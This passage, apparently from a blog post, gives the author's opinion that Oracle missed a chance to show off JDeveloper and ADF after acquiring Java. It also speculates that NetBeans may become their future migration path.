On the other hand, it could just be that this wasn't the time for releasing improvements to JDeveloper or ADF. I have trouble convincing myself of that though. The reason is that Oracle now owns Java and if there ever would have nee a reason to show JDeveloper and ADF in its full glory, now would have been the time. By not releasing improvements to what is considered problems with JDeveloper and ADF, they have probably given more momentum to the competing tools. They of course ha another tool in this space now, maybe NetBeans will be the future migration path of JDeveloper and when ADF finds a new home.

Posted in APEX, DBA, OOW, Oracle, Performance, SQL